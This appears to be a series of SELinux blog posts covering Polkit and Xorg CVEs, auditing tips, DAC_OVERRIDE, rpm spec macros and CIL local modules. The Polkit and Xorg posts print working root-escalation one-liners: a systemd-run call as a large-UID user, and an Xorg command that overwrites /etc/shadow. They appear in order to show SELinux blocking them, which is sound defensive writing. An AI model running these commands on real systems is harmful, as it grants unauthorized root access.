Polkit CVE-2018-19788 vs. SELinux

Hi All,

Last month, I wrote about Xorg X server vulnerability and we have a new interesting vulnerability, now in PolicyKit.

The exploit is based on a bug in PolicyKit, which allows users with UID greater than INT_MAX to successfully execute any systemctl command.
For more info visit thehackersnews.com article.

How does SELinux handle this exploit? 🙂 Let’s see.

SELinux brings very powerful feature called confined users, which gives administrators the power to confine user entities on the system. See official Fedora documentation or Blog from Dan Walsh. This feature is not enabled out of the box and needs to be configured on SELinux enabled system.

Let’s try PoC of the exploit in Permissive mode, when SELinux security policy is not enforced:

[tester@localhost ~]$ getenforce
[tester@localhost ~]$ id
uid=4000000000(tester) gid=1012(tester) groups=1012(tester) context=user_u:user_r:user_t:s0
[tester@localhost ~]$ systemd-run -t /bin/bash

(pkttyagent:7036): GLib-GObject-WARNING **: 15:39:20.472: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u3748.service
Press ^] three times within 1s to disconnect TTY.
[root@localhost /]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

As you can see, using PoC I can get root access with one command. Let’s repeat it with SELinux in enforcing:

[tester@lvrabec-workstation ~]$ getenforce
[tester@lvrabec-workstation ~]$ id
uid=4000000000(tester) gid=1012(tester) groups=1012(tester) context=user_u:user_r:user_t:s0
[tester@lvrabec-workstation ~]$ systemd-run -t /bin/bash

(pkttyagent:7243): GLib-GObject-WARNING **: 15:42:05.436: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to start transient service unit: Access denied

[tester@lvrabec-workstation ~]$ id
uid=4000000000(tester) gid=1012(tester) groups=1012(tester) context=user_u:user_r:user_t:s0

What does it mean? SELinux technology can block this exploit! Because confined user domain (user_t) cannot start systemd services!

time->Sun Dec 9 15:43:17 2018
type=USER_AVC msg=audit(1544366597.713:2394): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='avc: denied { start } for auid=4000000000 uid=4000000000 gid=1012 cmdline="systemd-run -t setenforce 0" scontext=user_u:user_r:user_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=system permissive=0 exe="/usr/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?

It looks like it’s the right time to confine users on your systems! 😉

Thanks @paragonsec for one-liner PoC.

CVE-2018-14665 : Xorg X Server Vulnerabilities vs. SELinux

Hi All!

There is a new interesting CVE.

An incorrect permission check for -modulepath and -logfile options when starting Xorg X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.

Hmm, looks pretty interesting… Can SELinux help here? Let’s see.

I found a nice blog about this Vulnerability:


With information from the blog post, I prepared Red Hat Enterprise Linux 7.5 Workstation and started with the investigation.

I’ll skip technical details about this vulnerability, you can read the blog mentioned above, but let’s try to gain root privileges.

I tried fresh installation of the system with default SELinux configuration. The attack was successful because of this allow rule:

$ sesearch -A -s xserver_t -t shadow_t -c file -p write
allow files_unconfined_type file_type:file { append audit_access create execute execute_no_trans getattr ioctl link lock map mounton open quotaon read relabelfrom relabelto rename setattr swapon unlink write };

Here we can see the main problem. xserver_t SELinux domain is part of files_unconfined_type attribute.

Since we didn’t want to block users from freely configuring their system environment, we ship the xserver_t domain as unconfined_domain by default. But system administrators are encouraged to remove the attribute once the system configuration is done and add any new rules required by it if necessary. See for example on how to do it. Let’s now see what happens when we disable unconfined_domain.

# semodule -d unconfined
# semodule -lfull | grep unconfined
100 unconfined pp disabled

Let’s try to reproduce the exploit:

$ cd /etc/; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1

What happened? Nothing happened because of SELinux! “/etc/shadow” file remained untouched:

$ ls -Z | grep shadow
----------. root root system_u:object_r:shadow_t:s0 gshadow
----------. root root system_u:object_r:shadow_t:s0 gshadow-
----------. root root system_u:object_r:shadow_t:s0 shadow
----------. root root system_u:object_r:shadow_t:s0 shadow-

In audit log there is a proof that SELinux denied X server to write to /etc/shadow:

# ausearch -m AVC -ts recent | grep shadow
type=AVC msg=audit(1541111364.200:593): avc: denied { write } for pid=6259 comm="Xorg" name="shadow" dev="dm-0" ino=18086774 scontext=unconfined_u:unconfined_r:xserver_t:s0-s0:c0.c1023 tcontext=system_u:object_r:shadow_t:s0 tclass=file

This is another example why it is a really good idea to spend some time to configure SELinux on your system. 🙂

How get file name from inode number?

Hi All,

I will generate SELinux denial using following command:

# cd /root ; passwd --help >& output.txt

# ausearch -m AVC -ts recent
type=AVC msg=audit(1535037404.461:1066390): avc: denied { write } for pid=11511 comm="passwd" path="output.txt" dev="dm-1" ino=1310732 scontext=staff_u:sysadm_r:passwd_t:s0:c0.c1023 tcontext=staff_u:object_r:admin_home_t:s0 tclass=file permissive=0

We can see that passwd process with passwd_t SELinux domain is trying to create file output.txt with label admin_home_t. We can find that admin_home_t is label for /root directory based on the output from semanage fcontext command.

# semanage fcontext -l | grep admin_home_t
/root(/.*)? all files system_u:object_r:admin_home_t:s0

But sometimes it’s not clear where the object from the AVC is stored. We just see name of the object. What could be helpful here is inode of object in the AVC message.
In our example the inode is ino=1310732.

We can use the following command to get file name and path from inode number:

# find / -xdev -inum 1310732

Now you can find where exactly the object is stored. 🙂

How to enable full auditing in audit daemon?

Full auditing in audit deamon could be useful e.g. to identify which object on system has too tight rules and object is causing dac_override SELinux denial. More info in my previous post.

 Open /etc/audit/rules.d/audit.rules file in an editor.

 1. Remove following line if it exists:

-a task,never

2. Add following line at the end of the file:

-w /etc/shadow -p w

 3. Restart the audit daemon:

 # service auditd restart

 4. Re-run your scenario.

Full auditing is useful when full paths to accessed objects are needed or certain audit event fields, which are normally hidden, should be visible.

The procedure works on Red Hat Enterprise Linux  >= 5 and Fedoras.

If /etc/audit/rules.d/audit.rules file does not exist, please edit /etc/audit/audit.rules directly. Older versions of audit did not generate /etc/audit/audit.rules from /etc/audit/rules.d/audit.rules.


Thanks Milos Malik for this article.

Why do you see DAC_OVERRIDE SELinux denials?

Hello everyone!

You could have seen SELinux denials (AVC messages) in your system in the recent release of Fedora 28 and of course Fedora Rawhide. I removed lot of rules allowing DAC_OVERRIDE capability for the process domain to bring the tightened security on SELinux enabled systems. In many cases, DAC_OVERRIDE capability is not needed and there is issue with handling UNIX permissions on objects stored in the system.

But what does DAC_OVERRIDE capability means?
In capabilities(7) man page you can find explanation. “If process has DAC_OVERRIDE capability, it can bypass file read, write and execute permissions check.”

What does it mean in reality?
Process could read, write and execute files even when there are no proper flags set on the file.

And this is a solid security hole.

Dan Walsh mentioned on his blog, that there is a myth that root is all powerful. This is not completely true, because on SELinux enabled systems, even processes ran under root user must have DAC_OVERRIDE capability allowed by SELinux policy. Aaand this is the problem for many cases on Fedora system!

Lot of daemons run as root:root user and group permissions and are accessing several files/directories in the system, but these files have too tight permissions.

Let’s make an example:

Directory below is owned by mpd user.

# ll -aZ /var/run/ | grep lirc
drwxr-xr-x. 2 lirc lirc system_u:object_r:lircd_var_run_t:s0 80 Jul 3 10:18 lirc

Following process is trying to access this directory and write logs files.

# ps -efZ | grep lircd
system_u:system_r:lircd_t:s0 root 6404 1 0 10:18 ? 00:00:00 /usr/sbin/lircd --nodaemon
system_u:system_r:lircd_t:s0 root 6405 6404 0 10:18 ? 00:00:00 [uname]

As we can see the process is owned by user root and group root. Which means that kernel will look on “others” group in UNIX permissions, and there is no written access for others.

This action should be terminated by kernel because permissions are too tight, but in discretionary access control root could bypass all permissions and access the file in the system. However, this is not allowed in mandatory access control which is implemented by SELinux.

For this reason processes owned by root needs DAC_OVERRIDE capability, or changed permissions on files/directories. In most cases this is a bug in the application package.

Dan Walsh also wrote a nice blog about this issue. He’s describing same situation on dovecot example.

Newest SELinux policy every day!

SELinux policy for Fedora Rawhide and Fedora 27 is changing very dynamically and new rules are appearing in SELinux policy repositories almost every day.

New selinux-policy RPM packages aren’t created every day, but if you want to have always up-to-date SELinux policy you can use copr repository with nightly builds. These builds are created every day.

Enabling this repo is very easy, just enable it via:

$ dnf copr enable lvrabec/selinux-policy-nightly 

And that’s it!
This is the fastest way how to deal with new denials in bleeding edge Fedora Rawhide.

No more massive patches in selinux-policy rpm package

Hi SELinux folks,

Building selinux-policy rpm package was quite complicated and confusing for developers because of massive patches against Tresys reference base and contrib repositories. The data flow during policy build was following:

This flow is unfit for selinux-policy rpm package because of the patch size (difficult to manage and near impossible to manually check). The following data flow should fix this:

From now on, we don’t use patches against refpolicy. Tarballs created directly from github are used instead. First build with this change is selinux-policy-3.14.1-1.fc28

Hope this sheds more light on building selinux-policy rpm package. 🙂

Using rpm macros in product SELinux subpackages

Some time ago, I published a post about shipping custom SELinux modules together with product as rpm subpackage. One of the steps  in shipping custom SELinux module is creating a  spec file for SELinux package, which can be messy, especially %post and %postun phases.

In order to simplify writing spec files, we have created several macros.

Loading custom SELinux modules

First improvement concerns loading and removing custom SELinux modules. You can see the difference in the following example:

Without macros:

# Install all modules in a single transaction
%_format MODULES %{_datadir}/selinux/packages/$x.pp.bz2
%{_sbindir}/semodule -n -s %{selinuxtype} -i $MODULES
if %{_sbindir}/selinuxenabled ; then
if [ $1 -eq 0 ]; then
	%{_sbindir}/semodule -n -r %{modulenames} &> /dev/null || :
	if %{_sbindir}/selinuxenabled ; then

With macros:

# Install all modules in a single transaction
%_format MODULES %{_datadir}/selinux/packages/$x.pp.bz2
%selinux_modules_install -s %{selinuxtype} $MODULES
if [ $1 -eq 0 ]; then
    %selinux_modules_uninstall -s %{selinuxtype} $MODULES

As you can see, module loading is done by one macro instead of 5 lines of code.

Labeling objects from custom policy

Next improvement in spec file is a pair of macros connected to labeling files coming from the custom policy. There is no need to specify all objects in spec file as we did in previously.

# Relabel files
%global relabel_files() \ # ADD files in *.fc file

Instead of specifying objects labeled by custom policy, following macros can be used:

%selinux_relabel_pre -s %{selinuxtype}

%selinux_relabel_post -s %{selinuxtype}

These macros will handle labeling objects coming from the custom SELinux module and after successfull package installation, all new objects should have correct SELinux label.

Handling SELinux booleans

Last improvement is setting booleans by macros. These macros provide solution for handling booleans in spec files and behave as follows:

  • If a boolean mentioned in the product .spec file was not set by user previously, it will be changed in the %post install phase and reverted during the %post uninstall phase will.
  • If a boolean mentioned in the product .spec file was set by user previously, it will be changed to a value from this file. However, it will not be reverted during the uninstallation of a product SELinux subpackage.

Usage of booleans macros:

# In preamble define booleans and values which should be used
%global selinuxbooleans booleanname=1 booleanname2=0

# Also some new packages will be needed:
%if 0%{?fedora}
Requires(post): policycoreutils-python-utils
Requires(post): policycoreutils-python

# use selinux_set_booleans after custom SELinux module is loaded.

%selinux_modules_install -s %{selinuxtype} $MODULES
%selinux_set_booleans -s %{selinuxtype} %{selinuxbooleans}

%selinux_modules_uninstall -s %{selinuxtype} $MODULES
%selinux_unset_booleans -s %{selinuxtype} %{selinuxbooleans}

All these improvements can be used in Fedora Rawhide and Fedora 26. Repository with sources can be found here.

Shipping custom module using SELinux priorities

Hello everyone!

Some time ago I introduced first part of shipping own custom module with rpm package of your application. This solution allows you to maintain your own SELinux policy module which brings lot of benefits like:

  • changes in policy can be modified immediately
    • no need to wait while selinux maintainer will fix it
  • independent from selinux-policy distro updates
    • policy changes will be updates together with your application
  • own policy module can reflect lates features inside application
    • policy and application will be synchronized

However technical solution had some troubles introduced in second part. This issues disappeared with new release of SELinux userspace (>=2.4).  New userspace brings feature call module priorities.  Benefits of this feature are described in following example:

$ rpm -q docker-selinux
package docker-selinux is not installed

# semodule -lfull | grep docker
100 docker            pp


Creating local module quickly in CIL!


Today, I’ll show you how to create local policy module for testing purposes or workaround while issue will be fixed in our distro selinux-policy. Local modules will be written in CIL (common intermediate language) so this post concerns Fedora 23 and higher.

As an example we can look on following BZ:

In description of BZ we can find this AVC:

type=AVC msg=audit(1466793837.663:1360): avc:  denied  { setrlimit }
for  pid=15770 comm="zabbix_agentd" scontext=system_u:system_r:zabbix_agent_t:s0
tcontext=system_u:system_r:zabbix_agent_t:s0 tclass=process permissive=0

Important parts of AVC for us:

avc:  denied  { setrlimit }

From these parts we can create allowing rule in CIL. Template for creating allow rules:

(allow source_context target_context (tclass (permissions)))

If we apply template on our AVC it looks like this:

(allow zabbix_agent_t zabbix_agent_t(process (setrlimit)))

Now, we add this line to file:
(Note: Name of your local module must be different than any other used in distro policy!)

$ cat zabbix_setrlimit.cil 
(allow zabbix_agent_t zabbix_agent_t(process (setrlimit)))

Finally, we could load this local module into kernel:

# semodule -i zabbix_setrlimit.cil

And that’s it! Rule from AVC report is loaded into kernel! You can verify it using:

$ sesearch -A -s zabbix_agent_t -t zabbix_agent_t -c process -p setrlimit
Found 1 semantic av rules:
   allow zabbix_agent_t zabbix_agent_t : process { fork sigchld sigkill sigstop signull signal getsched setsched setpgid getcap setrlimit } ; 

Pretty easy, don’t you think? 😉